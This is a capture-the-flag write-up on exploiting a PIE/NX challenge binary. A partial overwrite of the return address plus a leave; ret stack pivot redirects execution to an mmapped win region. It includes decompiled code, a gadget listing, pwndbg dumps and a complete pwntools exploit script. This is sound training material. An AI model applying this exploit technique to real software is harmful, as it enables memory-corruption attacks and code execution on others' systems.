# Partial Overwrite

We have a binary with **PIE** & **NX** enabled.

<figure><img src="https://3153414035-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FR4a0fV7sSqa7aeUItg65%2Fuploads%2FGFcSHu7gm2Ji5pUParpX%2Fimage.png?alt=media&#x26;token=b52bd9b0-e0b2-4f51-a0c7-e442776e67d0" alt=""><figcaption></figcaption></figure>

Looking at the source code, we can determine that we have a win\_ptr and a obvious buffer\_overflow with leak to buffer.

```cpp
void challenge(void)

{
  int win;
  void *win_ptr;
  ssize_t input;
  undefined8 input_buffer;
  undefined8 local_28;
  undefined8 local_20;
  undefined8 local_18;
  undefined4 local_c;
  
  input_buffer = 0;
  local_28 = 0;
  local_20 = 0;
  local_18 = 0;
  printf("[LEAK] Your input buffer is located at: %p.\n\n ",&input_buffer);
  win_ptr = mmap((void *)0x0,312,3,34,0,0);
  memcpy(win_ptr,&DAT_00103038,312);
  result= mprotect(win_ptr,312,5);
  if (result != 0) {
    __assert_fail("mprotect(data.win_addr, 0x138, PROT _READ|PROT_EXEC) == 0","<stdin>",42,
                  "challenge");
  }
  input = read(0,&input_buffer,4096);
  local_c = (undefined4)input;
  puts("Leaving!");
  return;
}

```

Since we have a buffer overflow, we can attempt to control RIP to try to stack pivot to our controlled buffer (**input\_buffer**) where we can potentially place our ROP chain. Let's first look for a stack pivoting gadget by filtering for anything that deals with **rsp**.

```bash
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
0x00000000000020bd: add al, ch; sbb eax, 0xb8fffff0; add byte ptr [rax], al; add byte ptr [rax], al; leave; ret; 
0x00000000000020c4: add byte ptr [rax], al; add byte ptr [rax], al; leave; ret; 
0x00000000000020bc: add byte ptr [rax], al; call 0x10e0; mov eax, 0; leave; ret; 
0x0000000000002008: add byte ptr [rax], al; call 0x10e0; nop; leave; ret; 
0x00000000000020c6: add byte ptr [rax], al; leave; ret; 
0x00000000000020be: call 0x10e0; mov eax, 0; leave; ret; 
0x000000000000200a: call 0x10e0; nop; leave; ret; 
0x0000000000002005: cmp eax, 0x10bf; call 0x10e0; nop; leave; ret; 
0x0000000000001fff: dec dword ptr [rcx - 0x72b703bb]; cmp eax, 0x10bf; call 0x10e0; nop; leave; ret; 
0x0000000000002004: lea edi, [rip + 0x10bf]; call 0x10e0; nop; leave; ret; 
0x0000000000002003: lea rdi, [rip + 0x10bf]; call 0x10e0; nop; leave; ret; 
0x0000000000002000: mov dword ptr [rbp - 4], eax; lea rdi, [rip + 0x10bf]; call 0x10e0; nop; leave; ret; 
0x00000000000020c3: mov eax, 0; leave; ret; 
0x00000000000020bf: sbb eax, 0xb8fffff0; add byte ptr [rax], al; add byte ptr [rax], al; leave; ret; 
0x0000000000002002: cld; lea rdi, [rip + 0x10bf]; call 0x10e0; nop; leave; ret; 
0x0000000000002010: leave; ret; 
0x000000000000200f: nop; leave; ret;
```

We can use the **leave; ret** gadget since we control **RBP** and **RIP.**&#x20;

We can also determine what is the offset from our leak the win pointer is by using a debugger like **pwndbg**

<pre data-full-width="false"><code>pwndbg> x/50gx 0x7ffcfa741500
0x7ffcfa741500: 0x0000000000000d68      0x00007f4f31ba8951
0x7ffcfa741510: 0x0000000000000d68      0x000000000000000a
0x7ffcfa741520: 0x00007f4f31d056a0      0x0000560df5fe30c9
0x7ffcfa741530: 0x0000560df5fe5010      0x00007f4f31d014a0
0x7ffcfa741540: 0x0000000000000000      0x00007f4f31ba8e93
0x7ffcfa741550: 0x0000000000000008      0x00007f4f31d056a0
0x7ffcfa741560: 0x0000560df5fe30c9      0x00007f4f31b9c59a
0x7ffcfa741570: 0x0000560df5fe20d0      0x00007ffcfa7415f0
0x7ffcfa741580: 0x0000560df5fe1160      0x00007ffcfa741710
0x7ffcfa741590: 0x0000000000000000      0x0000560df5fe200f
0x7ffcfa7415a0: 0x0000000000000000      0x00007ffcfa741728
0x7ffcfa7415b0: 0x00007ffcfa741718      0x0000000131ba653d
0x7ffcfa7415c0: <a data-footnote-ref href="#user-content-fn-1">0x00007f4f31d3800</a>0      <a data-footnote-ref href="#user-content-fn-2">0x494949494949494e</a>
0x7ffcfa7415d0: 0x4949494949494949      0x4949494949494949
0x7ffcfa7415e0: 0x4949494949494949      0x0000017149494949
0x7ffcfa7415f0: 0x494e494949494949      0x4949494949494949
0x7ffcfa741600: 0x4949494949494949      0x4949494949494949
0x7ffcfa741610: 0x4949494949494949      0x4949494949494949
0x7ffcfa741620: 0x4949494e49494949      0x4949494949494949
0x7ffcfa741630: 0x4949494949494949      0x4949494949494949
0x7ffcfa741640: 0x4949494949494949      0x4949494949494949
0x7ffcfa741650: 0x49494949494e4949      0x4949494949494949
0x7ffcfa741660: 0x4949494949494949      0x4949494949494949
0x7ffcfa741670: 0x4949494949494949      0x4949494949494949
0x7ffcfa741680: 0x494949494949494e      0x4949494949494949
pwndbg> x/10gx 0x00007f4f31d38000 
0x7f4f31d38000: 0x00ec8148e5894855      0x010101b848000001
0x7f4f31d38010: 0xb848500101010101      0x01010166606d672e
0x7f4f31d38020: 0x31e7894824043148      0x050f58026af631d2
0x7f4f31d38030: 0xb6d231c031c78948      0x016a050fe6894801
0x7f4f31d38040: 0x6ae68948c289485f
</code></pre>

Knowing that we can simply *"pivot"* to the win pointer, we can come up with the following exploit chain.

Exploit Flow

1. Partial Overwrite last byte to go to our **leave; ret** gadget
2. Set RBP to an offset of **leak-0x10** to account for **POP RBP** in **leave; ret** of the **challenge** function prologue
3. Execute **leave; ret** again **via** gadget so that we pivot to our **win pointer** and win

```python
#!/usr/bin/env python3

from pwn import *

exe = ELF("./ni")
# libc = ELF("./libc.so.6")
# ld = ELF("./ld-linux-x86-64.so.2")

context.binary = exe


def conn():
    while True:
        try:
            r = process([exe.path], aslr=True)
            gdb.attach(r)
            offset = 48
            r.recvuntil(b'[LEAK] Your input buffer is located at: ')
            leak = r.recvline()[:-2]
            leak = int(leak, 16)
            r.clean()
            print(f"Input Buffer Leak : {hex(leak)}")
            payload = b'A' * 40
            payload += p64(leak-0x10)
            payload += b'\x10\x00'
            r.send(payload)
            r.recvuntil(b'Leaving!')
            result = r.recvline()
            if b'hehehaha' in result:
                print(result)
                break
        except Exception as e:
            continue


def main():
    r = conn()
    r.interactive()


if __name__ == "__main__":
    main()

```

### What I learned

* **RSP** is adjusted each time a **pop**/**push** instruction is executed
* for **pop** gadgets, the values don't have to be user-controlled/valid, stack always have garbage values - as long the pop gadgets are not used for a syscall etc
* Think about what registers i have control of and how do i manipulate it to point to where i want (rsp -/+ offset so that i can align my pop gadgets properly and retn to the right ptr?)
* Dont be fixed in terms of looking for certain gadgets (e.g lea rsp, \[rbp - 0x18]; pop rbx; pop r12; pop r13; pop rbp; ret; - can be used for pivoting too)

[^1]: win\_ptr

[^2]: Start of Input Buffer
